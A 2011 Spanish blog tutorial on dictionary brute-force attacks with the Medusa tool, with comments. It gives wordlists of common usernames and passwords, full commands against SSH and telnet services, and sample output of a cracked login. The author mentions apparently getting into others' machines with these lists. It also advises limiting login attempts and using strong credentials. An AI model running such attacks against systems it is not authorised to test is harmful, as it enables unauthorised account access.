Sunday, July 24, 2011

Medusa: Ataque de fuerza bruta con diccionario

Si no te funciona, es porque no estas usando lo suficiente
Medusa es un software para atacar a nivel de fuerza bruta basándonos en diccionarios de palabras al igual que Hydra (Este ultimo me causo algunos inconvenientes, por tal razón me tope con medusa), es bien estable, sencillo, rápido y nos permitirá realizar el ataque a muchos servicios.

Espero que el conocimiento adquirido mediante este articulo les abra la mente y vean que tan importante es una buena combinación usuario/contraseña... antes de escribir este articulo solo por probar pude acceder a varios equipos utilizando un diccionario pobre, por la simpleza de las contraseñas (1234,123456) y los comunes usuarios (admin, administrator).

Como sabemos la mejor forma de defendernos de este tipo de programas es restringir el numero de intentos de autentificacion, y tener una buena combinación de usuario/contraseña.

A Medusa lo podemos encontrar en los repositorios de nuestra distribución con el nombre "medusa", si no es así podemos dirigirnos a la pagina oficial del proyecto.



Para ver todos los servicios que Medusa soporta, podemos ejecutar el siguiente comando:

# medusa -d

Y podremos ver:


Available modules in "/usr/lib/medusa/modules" :
    + afp.mod : Brute force module for AFP sessions : version 0.9.0
    + cvs.mod : Brute force module for CVS sessions : version 1.0.0
    + ftp.mod : Brute force module for FTP/FTPS sessions : version 1.3.0
    + http.mod : Brute force module for HTTP : version 1.3.0
    + imap.mod : Brute force module for IMAP sessions : version 1.2.0
    + mssql.mod : Brute force module for M$-SQL sessions : version 1.1.1
    + mysql.mod : Brute force module for MySQL sessions : version 1.2
    + ncp.mod : Brute force module for NCP sessions : version 1.0.0
    + nntp.mod : Brute force module for NNTP sessions : version 1.0.0
    + pcanywhere.mod : Brute force module for PcAnywhere sessions : version 1.0.2
    + pop3.mod : Brute force module for POP3 sessions : version 1.2
    + postgres.mod : Brute force module for PostgreSQL sessions : version 1.0.0
    + rexec.mod : Brute force module for REXEC sessions : version 1.1.1
    + rlogin.mod : Brute force module for RLOGIN sessions : version 1.0.2
    + rsh.mod : Brute force module for RSH sessions : version 1.0.1
    + smbnt.mod : Brute force module for SMB (LM/NTLM/LMv2/NTLMv2) sessions : version 1.5
    + smtp-vrfy.mod : Brute force module for enumerating accounts via SMTP VRFY : version 1.0.0
    + smtp.mod : Brute force module for SMTP Authentication with TLS : version 1.0.0
    + snmp.mod : Brute force module for SNMP Community Strings : version 1.0.0
    + ssh.mod : Brute force module for SSH v2 sessions : version 1.0.2
    + svn.mod : Brute force module for Subversion sessions : version 1.0.0
    + telnet.mod : Brute force module for telnet sessions : version 1.2.2
    + vmauthd.mod : Brute force module for the VMware Authentication Daemon : version 1.0.1
    + vnc.mod : Brute force module for VNC sessions : version 1.0.1
    + web-form.mod : Brute force module for web forms : version 1.0.0
    + wrapper.mod : Generic Wrapper Module : version 1.0.1

Como podemos ver el rango de servicio que soporta Medusa es bien amplio, vamos a crear dos diccionarios de ejemplo para que conozcamos como funciona medusa.

Creamos el diccionario de usuarios, creando un fichero de texto con el siguiente contenido de ejemplo:

admin
administrator
Admin
Administrator

Creamos el diccionario de contraseñas, creando un fichero de texto con el siguiente contenido de ejemplo:

1
12
123
1234
12345
123456
1234567
12345678
123456789

Estos ficheros se llaman usuarios.txt y claves.txt respectivamente, luego vamos a conocer algunas opciones importantes de medusa:

-h --------> el host al cual le vamos a realizar el ataque
-H -------> Para especificar una lista de hosts
-u  -------> Usuario al que le vamos a realizar el ataque
-U -------> Para especificar una lista de usuarios
-P ------->  Para especificar una lista de contraseñás
-O -------> Crea un  log
-e  ns -----> Incluye la verificacion con un password vacio y que el password sea el mismo nombre
-M  -------> El modulo que deseamos emplear (sin la extension .mod)
-n ---------> Para especificar el puerto del servicio (En caso de que no este corriendo en el default)
-s ----------> Habilita ssl
-f -----------> Se detiene al encontrar la contraseñá
-b ----------> Suprime los banners
-v ---------> modo verbose (mas informacion level de 0 a 6 siendo el 6 mas alto)

Conociendo estos parámetros vamos a proceder a realizar el ataque a un equipo corriendo ssh:

# medusa -h 192.168.1.1 -U usuarios.txt -P claves.txt -M ssh -f -b -v 6 -e ns

En este caso vamos a realizar el ataque a un equipo corriendo telnet y conocemos que el usuario es admin:

# medusa -h 192.168.1.1 -u admin -P claves.txt -M telnet -f -b -v 6 -e ns

Una salida de ejemplo podría ser la siguiente:

GENERAL: Parallel Hosts: 1 Parallel Logins: 1
GENERAL: Total Hosts: 1 
GENERAL: Total Users: 1
GENERAL: Passwords: 9
ACCOUNT CHECK: [ssh] Host: 192.168.1.1 (1 of 1, 1 complete) User: admin (1 of 1, 1 complete) Password:  (1 of 11 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.1 (1 of 1, 1 complete) User: admin (1 of 1, 1 complete) Password: admin (2 of 11 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.1 (1 of 1, 1 complete) User: admin (1 of 1, 1 complete) Password: 1 (3 of 11 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.1 (1 of 1, 1 complete) User: admin (1 of 1, 1 complete) Password: 12 (4 of 11 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.1 (1 of 1, 1 complete) User: admin (1 of 1, 1 complete) Password: 123 (5 of 11 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.1 (1 of 1, 1 complete) User: admin (1 of 1, 1 complete) Password: 1234 (6 of 11 complete)
ACCOUNT FOUND: [ssh] Host: 192.168.1.1 User: admin Password: 1234 [SUCCESS]
GENERAL: [audit] 1 addresses completed.
GENERAL: Medusa has finished.

Y Listo, encontró que el usuario es "admin" y que la contraseña es "1234".

Eso es todo amigos, en Internet pueden encontrar diccionarios muy completos,

Un saludo y usen la herramienta para bien!



2 comentarios:

Miguel Leonardo said...

Bien, muy bueno el post, un dia de estoy planeo probarlo y mejor que estes bien protegido

Ramphis Che said...

Haha! tu fuiste unos de los conejillos de india :)

Despues te cuento xD

Post a Comment